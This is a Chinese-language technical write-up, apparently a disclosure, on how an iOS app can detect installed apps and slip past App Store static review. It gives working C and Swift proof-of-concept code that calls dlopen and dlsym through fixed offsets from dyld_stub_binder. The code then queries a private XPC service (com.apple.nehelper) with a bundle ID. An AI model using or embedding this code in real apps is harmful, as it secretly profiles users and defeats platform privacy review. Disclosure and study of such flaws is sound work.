0x0 背景知识
iOS系统历来以重视隐私安全作为更新的重点和宣传的亮点,已装应用作为隐私安全的一部分应该得到限制,一旦泄露后果不堪设想。比如在部分联合国成员国家同性关系入死刑,如果利用漏洞枚举已安装应用而不被审核发现将会造成严重的后果。
在早期版本中通过SBSCopyApplicationDisplayIdentifiers
和-[LSApplicationWorkspace allApplications]
等私有API获取已装应用列表的方法在最近的iOS版本均因为增加entitlement文件校验的缘故无法使用。
0x1 应用审核
iOS应用向用户发布下载的方式有App Store上架、通过企业开发证书 Ad-hoc 发布、通过ABM(Apple Business Manager, 苹果商务管理)三种。其中后两者有更高的使用门槛,因此普遍采用App Store的发布方式。
App Store审核分为静态代码扫描和审核员动态审核两部分,静态代码扫描旨在通过分析程序的符号表检查是否包含私有API,包含私有API的程序将无法通过审核而拒绝上架。
0x2 动态特性
iOS系统开发语言主要为Objective-C和C语言,其中Objective-C语言有着十分灵活和强大的runtime特性,可以通过拼接、混淆字符串再调用NSClassFromString
和NSSelectorFromString
的方式绕过静态代码扫描对私有API的检查。
而C语言对比Objective-C动态性大打折扣,在其他平台中允许使用dlopen
加载动态库,尽管dlopen
在iOS平台不是私有API,但审核规则明确规定了通过这种方式加载的动态库必须随应用打包,并且显式的通过字面量声明需要库名和方法名。而显式声明的私有API方法名显然无法通过静态扫描。
0x3 进程通信
iOS平台支持多种进程间通信的方式,包括剪贴板、URL Scheme、Unix Socket、Darwin Notification等等。macOS在此基础上还支持XPC Service,XPC 目的是提高 App 的安全性和稳定性,XPC 让进程间通信变得更容易,让我们能够相对容易地将 App 拆分成多个进程的模式。其实 XPC 在 iOS 上应用的很广泛 – 但是目前只有 Apple 能够使用,第三方开发者还不能使用。
可以通过在终端输入man 3 xpc
查看相关API的使用手册,主要流程为通过xpc_connection_create_mach_service
创建XPC连接,通过xpc_connection_send_message_with_reply_sync
向连接发送消息并接收响应。
0x4 漏洞利用
尽管App Store静态代码扫描对dlopen
, dlsym
等函数有严格的检查,但苹果使用的MachO格式为了能在可执行文件中访问外部函数(系统动态链接库/共享缓存库中的函数),采用了PIC(Position Independent Code, 位置代码独立)技术。
每个 iOS 二进制文件都会导入一个名为dyld_stub_binder
的符号,它由和dlopen/dlsym
同源的库导入。这意味着我们可以找到这些函数距离dyld_stub_binder
内存地址的偏移并仅使用它们的地址来调用它们。这只是一个PoC,因此我们将提前计算一个特定 iOS 版本和设备型号的偏移量,因为它们可能会根据这两个参数而有所不同。当前设置对应于 iPhone 7 Plus 和 iOS 15.0,如果它们不适用于您的设备应该重新计算它们。更复杂的恶意软件可以避免使用预定义的偏移量,并使用这些函数的签名动态查找地址。以下是我们如何计算这些值:
#include <dlfcn.h>
#include <stdio.h>
#define NO_UND(func) extern void func(void) asm(#func);
NO_UND(dyld_stub_binder);
void findOffsets() {
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlopen); // 20780
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlsym); // 20648
}
void * normal_function1(const char * arg1, int arg2) { //dlopen
return ((void *(*)(const char *, int))((long long)dyld_stub_binder - 20780))(arg1, arg2);
}
void * normal_function2(void * arg1, const char * arg2) { //dlsym
return ((void *(*)(void *, const char *))((long long)dyld_stub_binder - 20648))(arg1, arg2);
}
得到偏移量后,我们可以使用Swift导入和重写normal_function1(dlopen)
和normal_function2(dlsym)
两个函数(并非必须重写,本例演示通过Swift编写恶意应用故采用Swift重写),并通过以下代码完成对XPC相关私有API的调用:
//出于演示目的以下符号没有通过拼接和混淆构造
let dylib = normal_function1("/usr/lib/system/libxpc.dylib", 0)
let normalFunction3 = unsafeBitCast(normal_function2(dylib, "xpc_connection_create_mach_service"), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self)
let normalFunction4 = unsafeBitCast(normal_function2(dylib, "xpc_connection_set_event_handler"), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)
let normalFunction5 = unsafeBitCast(normal_function2(dylib, "xpc_connection_resume"), to: (@convention(c) (OpaquePointer) -> Void).self)
let normalFunction6 = unsafeBitCast(normal_function2(dylib, "xpc_dictionary_create"), to: (@convention(c) (OpaquePointer?, OpaquePointer?, Int) -> OpaquePointer).self)
let normalFunction7 = unsafeBitCast(normal_function2(dylib, "xpc_dictionary_set_uint64"), to: (@convention(c) (OpaquePointer, UnsafePointer<CChar>, UInt64) -> Void).self)
let normalFunction8 = unsafeBitCast(normal_function2(dylib, "xpc_dictionary_set_string"), to: (@convention(c) (OpaquePointer, UnsafePointer<CChar>, UnsafePointer<CChar>) -> Void).self)
let normalFunction9 = unsafeBitCast(normal_function2(dylib, "xpc_connection_send_message_with_reply_sync"), to: (@convention(c) (OpaquePointer, OpaquePointer) -> OpaquePointer).self)
let normalFunction10 = unsafeBitCast(normal_function2(dylib, "xpc_dictionary_get_value"), to: (@convention(c) (OpaquePointer, UnsafePointer<CChar>) -> OpaquePointer?).self)
func isAppInstalled(bundleId: String) -> Bool {
let connection = normalFunction3("com.apple.nehelper", nil, 2)
normalFunction4(connection, { _ in })
normalFunction5(connection)
let xdict = normalFunction6(nil, nil, 0)
normalFunction7(xdict, "delegate-class-id", 1)
normalFunction7(xdict, "cache-command", 3)
normalFunction8(xdict, "cache-signing-identifier", bundleId)
let reply = normalFunction9(connection, xdict)
if let resultData = normalFunction10(reply, "result-data"), normalFunction10(resultData, "cache-app-uuid") != nil {
return true
}
return false
}
使用dlopen
和dlsym
找到xpc_connection_create_mach_service
等几个函数的地址。创建连接,设置回调,创建调用的参数xdict
并赋值,随后同步调用并校验返回结果result-data
。
0x5 总结
苹果在iOS系统中包含了很多Undocumented API,或许正是由于没有正式文档的缘故,对于这些私有API运行时缺少了必要的权限(entitlement)校验,仅在应用上架App Store前进行代码静态扫描,而通过种种方式可以绕过这些静态代码扫描从而完成对私有API的调用。
与之前SBSCopyApplicationDisplayIdentifiers
和-[LSApplicationWorkspace allApplications]
等私有API的后续处理类似,想必苹果很快会对XPC的相关调用增加entitlement的校验来封堵这个问题。
通过这篇文章可以看到苹果对entitlement文件的约束十分繁杂,相信这不是第一个也不会是最后一个同类问题,尽管App Store有着相对规范的审核流程,下载应用时仍不要掉以轻心。